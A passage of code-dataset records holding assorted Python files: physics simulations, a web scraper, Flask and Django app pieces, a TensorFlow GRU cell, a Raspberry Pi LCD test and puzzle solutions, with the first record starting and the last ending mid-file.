trtl.Screen()\r\nwn.addshape('ezgif.gif')\r\nwn.bgpic('ezgif.gif')\r\npainter.onclick(painter_clicked)\r\nwn.mainloop()\r\n","sub_path":"a121_catch_a_turtle_KC.py","file_name":"a121_catch_a_turtle_KC.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"386494252","text":"import numpy as np\nfrom scipy.fft import ifft2, fft2\n\n\"\"\"\nSome basic conventions used in this file:\n\nClass variables that begin with an underscore (\"_\") are not meant to be accessed outside of the class.\nThey either have proper access methods (eg. gaugeField() for _gaugeField) or shouldn't be used outside\nin the first place.\n\"\"\"\n\nclass Wavefunction():\n\n _colorChargeField = None\n _gaugeField = None\n\n # Some variables to keep track of what has been calculated/generated so far\n # allowing us to avoid redundant computations\n _colorChargeFieldExists = False\n _gaugeFieldExists = False\n #_wilsonLineExists = False # May not be implemented depending on nucleus/proton\n #_adjointWilsonLineExists = False # May not be implemented depending on nucleus/proton\n\n def __init__(self, colorCharges, N, delta, mu, fftNormalization=None, M=.5, g=1):\n r\"\"\"\n\n Base wavefunction class inplementing a generic color charge field and gauge field\n for a system with an arbitrary number of colors.\n\n Parameters\n ----------\n colorCharges : positive integer\n The number of possible color charges; also the dimensionality of the special unitary group\n\n N : positive integer\n The size of the square lattice to simulate\n\n delta : positive float\n The distance between adjacent lattice sites\n\n mu : positive float\n The scaling for the random gaussian distribution that generates the color charge density\n\n fftNormalization : None | \"backward\" | \"ortho\" | \"forward\"\n Normalization procedure used when computing fourier transforms; see [scipy documentation](https://docs.scipy.org/doc/scipy/reference/generated/scipy.fft.fft.html) for more information\n\n M : float\n Experimental parameter in the laplace equation for the gauge field\n\n g : float\n Parameter in the laplace equation for the gauge field\n \"\"\"\n\n self.N = N\n self.delta = delta\n self.mu = mu\n self.colorCharges = colorCharges\n self.gluonDOF = colorCharges**2 - 1\n self.fftNormalization = fftNormalization\n self.M = M\n self.g = g\n\n # Calculate some simple system constants\n self.length = self.N * self.delta\n self.gaussianWidth = self.mu / self.delta\n self.xCenter = self.yCenter = self.length / 2\n\n\n def colorChargeField(self):\n \"\"\"\n Generates the color charge density field according to a gaussian distribution.\n\n If the field already exists, it is simply returned and no calculation is done.\n \"\"\"\n if self._colorChargeFieldExists:\n return self._colorChargeField\n\n # Randomly generate the intial color charge density using a gaussian distribution\n self._colorChargeField = np.random.normal(scale=self.gaussianWidth, size=(self.gluonDOF, self.N, self.N))\n # Make sure we don't regenerate this field since it already exists on future calls\n self._colorChargeFieldExists = True\n\n return self._colorChargeField\n\n\n def gaugeField(self):\n \"\"\"\n Calculates the gauge field for the given color charge distribution by solving the (modified)\n Poisson equation involving the color charge field using Fourier method.\n\n If the field already exists, it is simply returned and no calculation is done.\n \"\"\"\n if self._gaugeFieldExists:\n return self._gaugeField\n\n # Make sure the charge field has already been generated (if not, this will generate it)\n self.colorChargeField()\n\n # Compute the fourier transform of the charge field\n chargeDensityFFTArr = fft2(self._colorChargeField, axes=(-2,-1), norm=self.fftNormalization)\n\n # This function calculates the individual elements of the gauge field in fourier space,\n # which we can then ifft back to get the actual gauge field\n # This expression was acquired by \n def AHat_mn(m, n, chargeFieldFFT_mn):\n numerator = -self.delta**2 * self.g * chargeFieldFFT_mn\n denominator = 2 * (np.cos(2*np.pi*m*self.delta/self.length) + np.cos(2*np.pi*n*self.delta/self.length) - 2 - (self.M * self.delta)**2 / 2)\n if denominator == 0:\n return 0\n return numerator / denominator\n vec_AHat_mn = np.vectorize(AHat_mn)\n\n # For indexing along the lattice\n iArr = np.arange(0, self.N)\n jArr = np.arange(0, self.N)\n\n # Calculate the individual elements of the gauge field in fourier space\n gaugeFieldFFTArr = np.zeros_like(self._colorChargeField, dtype='complex')\n\n for k in range(self.gluonDOF):\n gaugeFieldFFTArr[k] = [vec_AHat_mn(i, jArr, chargeDensityFFTArr[k,i,jArr]) for i in iArr]\n\n # Take the inverse fourier transform to get the actual gauge field\n self._gaugeField = np.real(ifft2(gaugeFieldFFTArr, axes=(-2, -1), norm=self.fftNormalization))\n # Make sure this process isn't repeated unnecessarily by denoting that it has been done\n self._gaugeFieldExists = True\n\n return self._gaugeField\n\n\nclass Proton(Wavefunction):\n \"\"\"\n Only real difference between the super class is that the color charge field is scaled by a centered gaussian\n with a width equal to `radius`.\n \"\"\"\n\n def __init__(self, colorCharges, N, delta, mu, radius, fftNormalization=None, M=.5, g=1):\n \"\"\"\n Wrapper for Wavefunction.__init__ that stores the radius parameter for use in generating the\n color charge field.\n\n Parameters\n ----------\n colorCharges : positive integer\n The number of possible color charges; also the dimensionality of the special unitary group\n\n N : positive integer\n The size of the square lattice to simulate\n\n delta : positive float\n The distance between adjacent lattice sites\n\n mu : positive float\n The scaling for the random gaussian distribution that generates the color charge density\n\n radius : positive float\n The scaling parameter for the gaussian factor that modifies the color charge density\n\n fftNormalization : None | \"backward\" | \"ortho\" | \"forward\"\n Normalization procedure used when computing fourier transforms; see [scipy documentation](https://docs.scipy.org/doc/scipy/reference/generated/scipy.fft.fft.html) for more information\n\n M : float\n Experimental parameter in the laplace equation for the gauge field\n\n g : float\n Parameter in the laplace equation for the gauge field\n\n \"\"\"\n\n super().__init__(colorCharges, N, delta, mu, fftNormalization, M, g) # Super constructor\n self.radius = radius\n\n def colorChargeField(self):\n \"\"\"\n Generates the color charge density field according to a gaussian distribution, which decays according\n to another gaussian distribution.\n\n If the field already exists, it is simply returned and no calculation is done.\n \"\"\"\n if self._colorChargeFieldExists:\n return self._colorChargeField\n\n # Centered gaussian distribution defined by class parameters\n def gaussian(x, y, r=self.radius, xc=self.xCenter, yc=self.yCenter):\n return np.exp( - ((x - xc)**2 + (y - yc)**2) / (2*r**2))\n\n protonGaussianCorrection = np.array([gaussian(i*self.delta, np.arange(0, self.N)*self.delta) for i in np.arange(0, self.N)])\n\n # Randomly generate the intial color charge density using a gaussian distribution\n self._colorChargeField = np.random.normal(scale=self.gaussianWidth, size=(self.gluonDOF, self.N, self.N))\n self._colorChargeField *= protonGaussianCorrection # Apply the correction\n\n # Make sure we don't regenerate this field since it already exists on future calls\n self._colorChargeFieldExists = True\n\n return self._colorChargeField\n","sub_path":"cgc/Wavefunction.py","file_name":"Wavefunction.py","file_ext":"py","file_size_in_byte":7993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"207642628","text":"import sys\n\n##Se establece que va a importar del zip\nsys.path.append(\"api/Api.zip\")\nfrom ISalida import ISalida\nfrom IUsuarioEntrada import IUsuarioEntrada\nfrom IDatosEntrada import IDatosEntrada\nfrom Cargador import Cargador\n\n\nclass Orquestador:\n def mostrar(self):\n # Cargador.test()\n Cargador.importDinamico()\n ISalida.iniciarGui()\n\n def validarUsuario(usuario, contrasena):\n return IUsuarioEntrada.validarUsuario(usuario, contrasena)\n\n def agregarMateria(\n nombre,\n descripcion,\n anioInicio,\n mesInicio,\n diaInicio,\n horaInicio,\n minutoInicio,\n segundoInicio,\n anioFinal,\n mesFinal,\n diaFinal,\n horaFinal,\n minutoFinal,\n segundoFinal,\n nombreUsuario,\n ):\n return IDatosEntrada.agregarMateria(\n nombre,\n descripcion,\n anioInicio,\n mesInicio,\n diaInicio,\n horaInicio,\n minutoInicio,\n segundoInicio,\n anioFinal,\n mesFinal,\n diaFinal,\n horaFinal,\n minutoFinal,\n segundoFinal,\n nombreUsuario,\n )\n\n def eliminarMateria(usuario, nombre):\n return IUsuarioEntrada.eliminarMateria(usuario, nombre)\n\n def registrarUsuario(usuario, contrasena, email):\n return IUsuarioEntrada.registrarUsuario(usuario, contrasena, email)\n\n def getMaterias(usuario, mes):\n return IUsuarioEntrada.getMaterias(usuario, mes)\n\n\n# Ejecucion del main, el punto de inicio en otras palabras\nif __name__ == \"__main__\":\n orq = Orquestador()\n orq.mostrar()\n","sub_path":"Orquestador/Orquestador.py","file_name":"Orquestador.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"219392815","text":"#!/usr/bin/env python3\n# coding: utf-8\n\nimport LCD_1in44\nimport LCD_Config\nfrom lcdhat import HatKeys\n\nfrom PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nfrom PIL import ImageColor\n\nfrom gpiozero import Button, LED\nfrom time import sleep\nfrom signal import pause\nimport socket\nimport subprocess\nimport psutil\n\ndef getIpv4Addresses():\n\taddresses = []\n\n\tcmd = \"./get_ipaddr.sh\"\n\tp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\tp.wait()\n\to, e = p.communicate()\n\tlines = o.decode().split('\\n')\n\tfor line in lines:\n\t\tif '127.0.0.1' in line:\n\t\t\tcontinue\n\t\tif ':' in line:\n\t\t\tcontinue\n\t\taddresses.append(line)\n\n\treturn addresses\n\n\ndef put_logo():\n\tlogo = Image.open('images/logo-RasPi.bmp')\n\tmonofont10 = ImageFont.truetype('/usr/share/fonts/opentype/noto/NotoSansCJK-Regular.ttc', 10)\n\n\timage = Image.new(\"RGB\", (LCD.width, LCD.height), \"BLUE\")\n\tdraw = ImageDraw.Draw(image)\n\trm = psutil.virtual_memory().total // (1024 * 1024)\n\tdraw.text((24, 88), 'RAM:{}Mbytes'.format(rm), fill = \"WHITE\", font = monofont10)\n\n\tfor i in range(47, -1, -3):\n\t\tlp = logo.crop((0, 0, 109, 54 - i))\n\t\timage.paste(lp, (9, 32 + i))\n\n\t\tLCD.LCD_ShowImage(image, 0, 0)\n\n\tLCD_Config.Driver_Delay_ms(500)\n\ndef key1_pressed():\n\tprint(\"key1 pressed.\")\n\ndef key2_pressed():\n\tprint(\"key2 pressed.\")\n\ndef key1b_pressed():\n\tprint(\"キー1が押されました。\")\n\ndef key2b_pressed():\n\tprint(\"キー2が押されました。\")\n\ndef key1_released():\n\tprint(\"key1 released.\")\n\ndef key2_released():\n\tprint(\"key2 released.\")\n\n\ndef key3_pressed():\n\tprint(\"switch key-events.\")\n\thk.key1.when_pressed = None\n\thk.key2.when_pressed = None\n\tLCD_Config.Driver_Delay_ms(100)\n\n\tkey3_pressed.hk_sw = not key3_pressed.hk_sw\n\tif (key3_pressed.hk_sw):\n\t\thk.key1.when_pressed = key1b_pressed\n\t\thk.key2.when_pressed = key2b_pressed\n\telse:\n\t\thk.key1.when_pressed = key1_pressed\n\t\thk.key2.when_pressed = key2_pressed\n\ndef jkey_pressed():\n\tprint(\"jkey pressed.\")\n\texit()\n\n\nif __name__ == '__main__':\n\tLCD = LCD_1in44.LCD()\n\tif (LCD.LCD_Init(LCD_1in44.SCAN_DIR_DFT) != None):\n\t\tprint(\"LCD Hat NOT set.\")\n\t\texit()\n\n\tput_logo()\n\n\thk = HatKeys()\n\tkey3_pressed.hk_sw = False\n\n\thk.key1.when_pressed = key1_pressed\n\thk.key2.when_pressed = key2_pressed\n\n\thk.key1.when_released = key1_released\n\thk.key2.when_released = key2_released\n\n\thk.key3.when_pressed = key3_pressed\n\n\thk.jkey.when_pressed = jkey_pressed\n\n\tpause()\n\n","sub_path":"hatbuttontest.py","file_name":"hatbuttontest.py","file_ext":"py","file_size_in_byte":2402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"160066439","text":"import psutil\nimport time\nimport os\n\ndef main():\n while(1):\n found = False\n for proc in psutil.process_iter():\n if proc.name() == sys.argv[1]:\n print(\"process name = %s, id = %s, status = %s\" % (proc.name, str(proc.pid), proc.status()))\n found = True\n if not found:\n print(\"service not running!\")\n \n time.sleep(1)\n \nif __name__ == '__main__':\n main() ","sub_path":"apps-vu/fault-tolerance-tests/testSvcFail/monitorlib/MonitorSvc.py","file_name":"MonitorSvc.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"275963845","text":"#\r\n# @lc app=leetcode.cn id=1332 lang=python3\r\n#\r\n# [1332] 删除回文子序列\r\n#\r\n# https://leetcode-cn.com/problems/remove-palindromic-subsequences/description/\r\n#\r\n# algorithms\r\n# Easy (46.21%)\r\n# Likes: 4\r\n# Dislikes: 0\r\n# Total Accepted: 597\r\n# Total Submissions: 1.3K\r\n# Testcase Example: '\"ababa\"'\r\n#\r\n# 给你一个字符串 s,它仅由字母 'a' 和 'b' 组成。每一次删���操作都可以从 s 中删除一个回文 子序列。\r\n#\r\n# 返回删除给定字符串中所有字符(字符串为空)的最小删除次数。\r\n#\r\n# 「子序列」定义:如果一个字符串可以通过删除原字符串某些字符而不改变原字符顺序得到,那么这个字符串就是原字符串的一个子序列。\r\n#\r\n# 「回文」定义:如果一个字符串向后和向前读是一致的,那么这个字符串就是一个回文。\r\n#\r\n#\r\n#\r\n# 示例 1:\r\n#\r\n# 输入:s = \"ababa\"\r\n# 输出:1\r\n# 解释:字符串本身就是回文序列,只需要删除一次。\r\n#\r\n#\r\n# 示例 2:\r\n#\r\n# 输入:s = \"abb\"\r\n# 输出:2\r\n# 解释:\"abb\" -> \"bb\" -> \"\".\r\n# 先删除回文子序列 \"a\",然后再删除 \"bb\"。\r\n#\r\n#\r\n# 示例 3:\r\n#\r\n# 输入:s = \"baabb\"\r\n# 输出:2\r\n# 解释:\"baabb\" -> \"b\" -> \"\".\r\n# 先删除回文子序列 \"baab\",然后再删除 \"b\"。\r\n#\r\n#\r\n# 示例 4:\r\n#\r\n# 输入:s = \"\"\r\n# 输出:0\r\n#\r\n#\r\n#\r\n#\r\n# 提示:\r\n#\r\n#\r\n# 0 <= s.length <= 1000\r\n# s 仅包含字母 'a'  和 'b'\r\n#\r\n#\r\n#\r\n\r\n\r\n# @lc code=start\r\nclass Solution:\r\n def removePalindromeSub(self, s: str) -> int:\r\n # 如果本身就是回文, 只用删一次\r\n # 如果包含两种元素, 则要么a要么b, 最多2次..\r\n if not s:\r\n return 0\r\n b, e = 0, len(s) - 1\r\n while b < e:\r\n if s[b] == s[e]:\r\n b += 1\r\n e -= 1\r\n else:\r\n return 2\r\n return 1\r\n\r\n\r\n# @lc code=end\r\n","sub_path":"Easy/1332.删除回文子序列.py","file_name":"1332.删除回文子序列.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"24904594","text":"#!/usr/bin/env python\n\n# Copyright 2017 IBM Corp. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom glob import glob\nfrom jinja2 import FileSystemLoader, Environment\nimport json\nimport os\nimport shutil\n\n# path to hosts (parmfile.json)\npath = \"./hosts\"\n\ntemplates = [ \"preseed.cfg.jinja\",\n \"parmfile.ubuntu.jinja\" ]\ntemplate_loader = FileSystemLoader( \"templates\" )\ntemplateEnv = Environment( loader = template_loader )\n\ndef my_render(parms):\n target = parms[ \"HOSTNAME\" ]\n output_target = \"output/\" + target\n\n print( \"\\nGenerating preseed for \" + target )\n\n print( \"... populating \" + output_target )\n shutil.copytree( \"preseed_input\", output_target )\n\n print( \"... rendering \" + output_target + \"/boot/parmfile.ubuntu\" )\n template = templateEnv.get_template( \"parmfile.ubuntu.jinja\" )\n f = open( output_target + \"/boot/parmfile.ubuntu\", \"w\" )\n f.write( template.render( parms ) )\n f.close()\n\n print( \"... rendering \" + output_target + \"/boot/preseed/preseed.cfg\" )\n path = output_target + \"/boot/preseed\"\n os.makedirs( path )\n template = templateEnv.get_template( \"preseed.cfg.jinja\" )\n f = open( path + \"/preseed.cfg\", \"w\" )\n f.write( template.render( parms ) )\n f.close()\n\ndef gather_parmfiles(path):\n return glob( path + \"/*.parmfile.json\" )\n\nif __name__ == \"__main__\":\n if os.path.exists( \"output/\" ):\n print( \"\\nCleaning up stale contents in output directory ...\" )\n shutil.rmtree( \"output/\" )\n\n for parmfile in gather_parmfiles( path ):\n with open( parmfile, \"r\" ) as f:\n parms = json.loads( f.read() )\n my_render(parms)\n","sub_path":"tools/0a-multi-lpar-preseed/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"606392889","text":"import bs4 as bs\nimport requests\nimport csv\n\ndef scrape():\n #page = input('Page number each page contains 21 post')\n page = 15\n \n for page_number in range(0,int(page)): \n sauce = requests.get('https://www.onlinekhabar.com/content/news/page'+str(page_number))\n soup = bs.BeautifulSoup(sauce.text,'lxml')\n posts = soup.find_all(\"div\",class_=\"relative list__post show_grid--view\")\n for post in posts:\n wrapper = post.find_all(\"div\",class_=\"item\")\n tag = wrapper[-1].find('a')\n title = tag.text\n link = tag['href']\n source = link.split('/')[2]\n with open('online_khabar.txt','a') as csv_file:\n csv_writer = csv.writer(csv_file,delimiter=',')\n csv_writer.writerow([title,link,\"OnlineKhabar\"])\n print(page_number)\n\nif __name__==\"__main__\":\n scrape()\n","sub_path":"scraper/scraper_onlinekhabar.py","file_name":"scraper_onlinekhabar.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"106525763","text":"# Run me with 'nosetests screenshot.py --with-save-baseline --nocapture'\n\nimport logging\n\nfrom needle.cases import NeedleTestCase\nfrom needle.driver import NeedlePhantomJS\n\nimport config as c\n\nopts = c.parse_args([c.DBS])\ndb = opts.db\n\n\nclass captureTweetScreenshots(NeedleTestCase):\n @classmethod\n def get_web_driver(cls):\n return NeedlePhantomJS()\n\n def test_masthead(self):\n self.list_to_screenshot()\n\n def writeSuccess(self, path):\n return db.writeSuccess(path)\n\n def markDeleted(self, path):\n return db.markDeleted(path)\n\n def list_to_screenshot(self):\n logFile = open(\"logfile.txt\", \"w\")\n cur = db.getLogs()\n for (Url, Tweet_Id) in cur:\n try:\n self.driver.get(Url)\n except:\n logging(f\"url does not exist: {Url}\")\n logFile.write(\"Url doesnt exist \\n\")\n continue\n try:\n self.assertScreenshot(\".tweet\", Tweet_Id)\n\n except:\n logging(f\"tweet deleted: {Url}\")\n self.markDeleted(Tweet_Id)\n message = \"Tweet deleted %s \\n\" % Url\n logFile.write(message)\n continue\n self.writeSuccess(Tweet_Id)\n message = \"Tweet screenshotted %s \\n\" % Url\n logFile.write(message)\n logFile.close()\n\n\n# if __name__ == '__main__':\n# list_to_screenshot(db)\n","sub_path":"screenshot.py","file_name":"screenshot.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"96970157","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport glob\nimport datetimes\nimport time\n\ndef clean_Group_data(filename):\n x = pd.read_csv(filename)\n mask = x['Tweet Date'].apply(lambda x: len(x) == 30)\n mask1 = x['Language'] == 'en'\n mask2 = x['Compound'].notnull()\n df = x[mask&mask1&mask2]\n timelist = []\n for tweet_date in df['Tweet Date']: \n tweet_datetime = pd.to_datetime(tweet_date)\n tweet_datetime = str(tweet_datetime)\n unix = time.mktime(datetime.datetime.strptime(tweet_datetime, \"%Y-%m-%d %H:%M:%S\").timetuple())\n timelist.append(time.strftime('%Y-%m-%d', time.localtime(unix)))\n df['Format_date'] = timelist\n cleaned_data = df.groupby('Format_date').agg({\"Text\": \"count\", \"Compound\" : \"mean\"})\n return cleaned_data\n\n\nfile_list = glob.glob(\"*.csv\")\ncleanedDataDict = {}\nfor Datafile in file_list:\n dataFrame = clean_Group_data(Datafile)\n cleanedDataDict[Datafile] = dataFrame\n","sub_path":"Data_clean.py","file_name":"Data_clean.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"310282156","text":"for test_cases in range(int(input())):\n\tn=int(input())\n\ti=1\n\ts=set()\n\tstring =\"\"\n\ttest=10\n\tif n==0:\n\t\tanswer=\"INSOMNIA\"\n\telse:\t\n\t\twhile(len(s) != 10):\n\t\t\tmul=n*i\n\t\t\tstring+=str(mul)\n\t\t\ts=set(string)\n\t\t\tanswer=mul\n\t\t\t#print (string,s,end=\" \")\n\t\t\ti+=1\n\tprint (\"Case #{}: {}\".format(test_cases+1,answer))\t","sub_path":"codes/CodeJamCrawler/16_0_1_neat/16_0_1_akshi10_CountingSheep.py","file_name":"16_0_1_akshi10_CountingSheep.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"139772362","text":"import tensorflow as tf\n\nclass myGRU(tf.nn.rnn_cell.RNNCell):\n \n def __init__( self, state_dim ):\n self.state_dim = state_dim\n self.scope = None\n\n @property\n def state_size(self):\n return self.state_dim\n \n @property\n def output_size(self):\n return self.state_dim\n \n def __call__( self, inputs, state):\n in_shape = inputs.get_shape().as_list()\n with tf.variable_scope('myGRU') as scope:\n if self.scope == None:\n w_shape = [in_shape[1],self.state_dim]\n u_shape = [self.state_dim,self.state_dim]\n b_shape = [self.state_dim]\n self.Wz = tf.get_variable('wz',w_shape,initializer=tf.random_normal_initializer(stddev=0.02))\n self.Uz = tf.get_variable('uz',u_shape,initializer=tf.random_normal_initializer(stddev=0.02))\n self.bz = tf.get_variable('bz',b_shape,initializer=tf.random_normal_initializer(stddev=0.01))\n self.Wr = tf.get_variable('wr',w_shape,initializer=tf.random_normal_initializer(stddev=0.02))\n self.Ur = tf.get_variable('ur',u_shape,initializer=tf.random_normal_initializer(stddev=0.02))\n self.br = tf.get_variable('br',b_shape,initializer=tf.random_normal_initializer(stddev=0.01))\n self.Wh = tf.get_variable('wh',w_shape,initializer=tf.random_normal_initializer(stddev=0.02))\n self.Uh = tf.get_variable('uh',u_shape,initializer=tf.random_normal_initializer(stddev=0.02))\n self.bh = tf.get_variable('bh',b_shape,initializer=tf.random_normal_initializer(stddev=0.01))\n self.scope = 'myGRU'\n else:\n scope.reuse_variables()\n self.Wz = tf.get_variable('wz')\n self.Uz = tf.get_variable('uz')\n self.bz = tf.get_variable('bz')\n self.Wr = tf.get_variable('wr')\n self.Ur = tf.get_variable('ur')\n self.br = tf.get_variable('br')\n self.Wh = tf.get_variable('wh')\n self.Uh = tf.get_variable('uh')\n self.bh = tf.get_variable('bh')\n \n z = tf.nn.sigmoid(tf.matmul(inputs,self.Wz) + tf.matmul(state,self.Uz) + self.bz)\n r = tf.nn.sigmoid(tf.matmul(inputs,self.Wr) + tf.matmul(state,self.Ur) + self.br)\n h = tf.multiply(z,state) + tf.multiply(1-z,tf.nn.tanh(tf.matmul(inputs,self.Wh) + tf.matmul(tf.multiply(r,state),self.Uh) + self.bh))\n return h,h\n","sub_path":"DeepLearning/lab8/gru.py","file_name":"gru.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"3728450","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0029_auto_20151017_1546'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='mission',\n name='finalize_date',\n field=models.DateTimeField(null=True, blank=True),\n ),\n ]\n","sub_path":"xcom40k/app/migrations/0030_auto_20151017_1603.py","file_name":"0030_auto_20151017_1603.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"165321743","text":"import json\n\nfrom flask import render_template\nfrom flask_login import login_required\nimport pandas as pd\nimport plotly.express as px\nimport plotly\n\nfrom sqlalchemy import func\n\nfrom app import db\nfrom app.chart import bp\nfrom app.models import Book, Genre\n\n@bp.route('/')\n@login_required\ndef chart_list():\n return render_template('chart_list.html', title = 'List of Charts')\n\n@bp.route('/book_ratings')\n@login_required\ndef book_ratings_chart():\n # Retrieve all the books in the collection\n book_query = Book.query\n df = pd.read_sql(book_query.statement, book_query.session.bind)\n\n # Draw the chart and dump it into JSON format\n chart = px.bar(df, x='title', y='critics_rating')\n chart_JSON = json.dumps(chart, cls=plotly.utils.PlotlyJSONEncoder, indent=4)\n\n # Returns the template, including the JSON data for the chart\n return render_template('chart_page.html', title = 'Critic ratings for books', chart_JSON = chart_JSON)\n \n@bp.route('/user_books')\n@login_required\ndef user_books_chart():\n # Run query to get count of books owned per user and load into DataFrame\n query = (\n \"SELECT username, count(*) as books_owned \"\n \"FROM user_book ub \"\n \"JOIN user u on ub.user_id = u.id \"\n \"GROUP BY username\"\n )\n df = pd.read_sql(query, db.session.bind)\n\n # Draw the chart and dump it into JSON format\n chart = px.bar(df, x ='username', y='books_owned')\n chart_JSON = json.dumps(chart, cls=plotly.utils.PlotlyJSONEncoder, indent=4)\n\n # Returns the template, including the JSON data for the chart\n return render_template('chart_page.html', title = 'Books owned per user', chart_JSON = chart_JSON)\n\n@bp.route('/books_read')\n@login_required\ndef books_read_chart():\n # Run query to get books read per year by user and load into DataFrame\n query = (\n \"SELECT username, books_read_per_year \"\n \"FROM user u \"\n )\n df = pd.read_sql(query, db.session.bind)\n\n # Draw the chart and dump it into JSON format\n chart = px.bar(\n df, x ='username', y='books_read_per_year', title='Books read per year by user',\n labels = {'username': 'Username','books_read_per_year': 'Books read per year'},\n template = 'plotly_white'\n )\n chart_JSON = json.dumps(chart, cls=plotly.utils.PlotlyJSONEncoder, indent=4)\n\n # Returns the template, including the JSON data for the chart\n return render_template('chart_page.html', title = 'Books read per year', chart_JSON = chart_JSON)\n\n@bp.route('/books_per_genre_SQL_statement')\n@login_required\ndef books_per_genre_SQL_statement_chart():\n # Run query to get count of books per genre\n query = (\n \"SELECT name, count(*) as number_of_books \"\n \"FROM book b \"\n \"JOIN genre g on b.genre_id = g.id \"\n \"GROUP BY name \"\n )\n df = pd.read_sql(query, db.session.bind)\n\n # Draw the chart and dump it into JSON format\n chart = px.bar(\n df, x ='name', y='number_of_books', title='Number of books per genre',\n labels = {'name': 'Genre','number_of_books': 'Number of books'},\n template = 'plotly_white'\n )\n chart_JSON = json.dumps(chart, cls=plotly.utils.PlotlyJSONEncoder, indent=4)\n\n # Returns the template, including the JSON data for the chart\n return render_template('chart_page.html', title = 'Books per genre', chart_JSON = chart_JSON)\n\n@bp.route('/books_per_genre_SQLAlchemy')\n@login_required\ndef books_per_genre_SQLAlchemy_chart():\n # Run SQLAlchemy query to get count of books per genre\n query = db.session.query(\n Genre.name, \n func.count(Genre.name)\n ).join(Book).group_by(Genre.name)\n \n df = pd.read_sql(query.statement, query.session.bind)\n\n # Draw the chart and dump it into JSON format\n chart = px.bar(df, x ='name', y='count_1',\n labels = {'name': 'Genre','count_1': 'Number of books'},\n title='Number of books per genre',\n template='plotly_white')\n \n chart_JSON = json.dumps(chart, cls=plotly.utils.PlotlyJSONEncoder, indent=4)\n\n # Returns the template, including the JSON data for the chart\n return render_template('chart_page.html', title = 'Books per genre', chart_JSON = chart_JSON)","sub_path":"app/chart/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"385128298","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'schedule/_submit_schedule/$', views.update_device_schedule, name='update-device-schedule'),\n url(r'schedule/_activate_scheduler/$', views.activate_schedule),\n url(r'schedule/([a-zA-Z0-9_-]+)/$', views.showSchedule, name='view-device-schedule'),\n url(r'api/schedule_update',views.api_schedule_update),\n url(r'api/get_schedule',views.get_api_schedule)\n\n]","sub_path":"Web_Server/webapps/schedule/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"420616462","text":"from django.template.loader import render_to_string\nfrom django.core.mail import EmailMultiAlternatives\nfrom celery import shared_task\nfrom omni.settings import DEFAULT_FROM_EMAIL\n\n@shared_task()\ndef send_email(subject,recipient,body=None,txt_template=None,html_template=None,context=None):\n files_ = []\n from_email = DEFAULT_FROM_EMAIL\n if txt_template:\n text_content = render_to_string(txt_template)\n else:\n text_content = body\n\n msg = EmailMultiAlternatives(subject, text_content, from_email, recipient)\n if html_template:\n html_content = render_to_string(html_template, context={'context': ''} if not context else context)\n msg.attach_alternative(html_content, \"text/html\")\n\n if files_:\n for file in files_:\n msg.attach_file(file)\n msg.send()","sub_path":"omni/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"15521788","text":"\"\"\"\nmain.py\n\nAuthor: Stephen Radley\nDate: 2018/9/5\n\n...\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport functions.plot_data as plot\nimport functions.compute_cost as cost\nimport functions.feature_normalize as fnorm\nimport functions.gradient_descent as gd\nimport functions.normal_equation as normeq\n\n\ndef ex1():\n \"\"\"\n ex1 ...\n \"\"\"\n\n # read in data\n data = np.genfromtxt('ex1data1.txt', delimiter=',')\n\n _X = np.array(data[:, :-1])\n y = np.array(data[:, -1:])\n m = y.shape[0]\n\n # show plots\n plt.scatter(_X, y, color='red', marker='x')\n 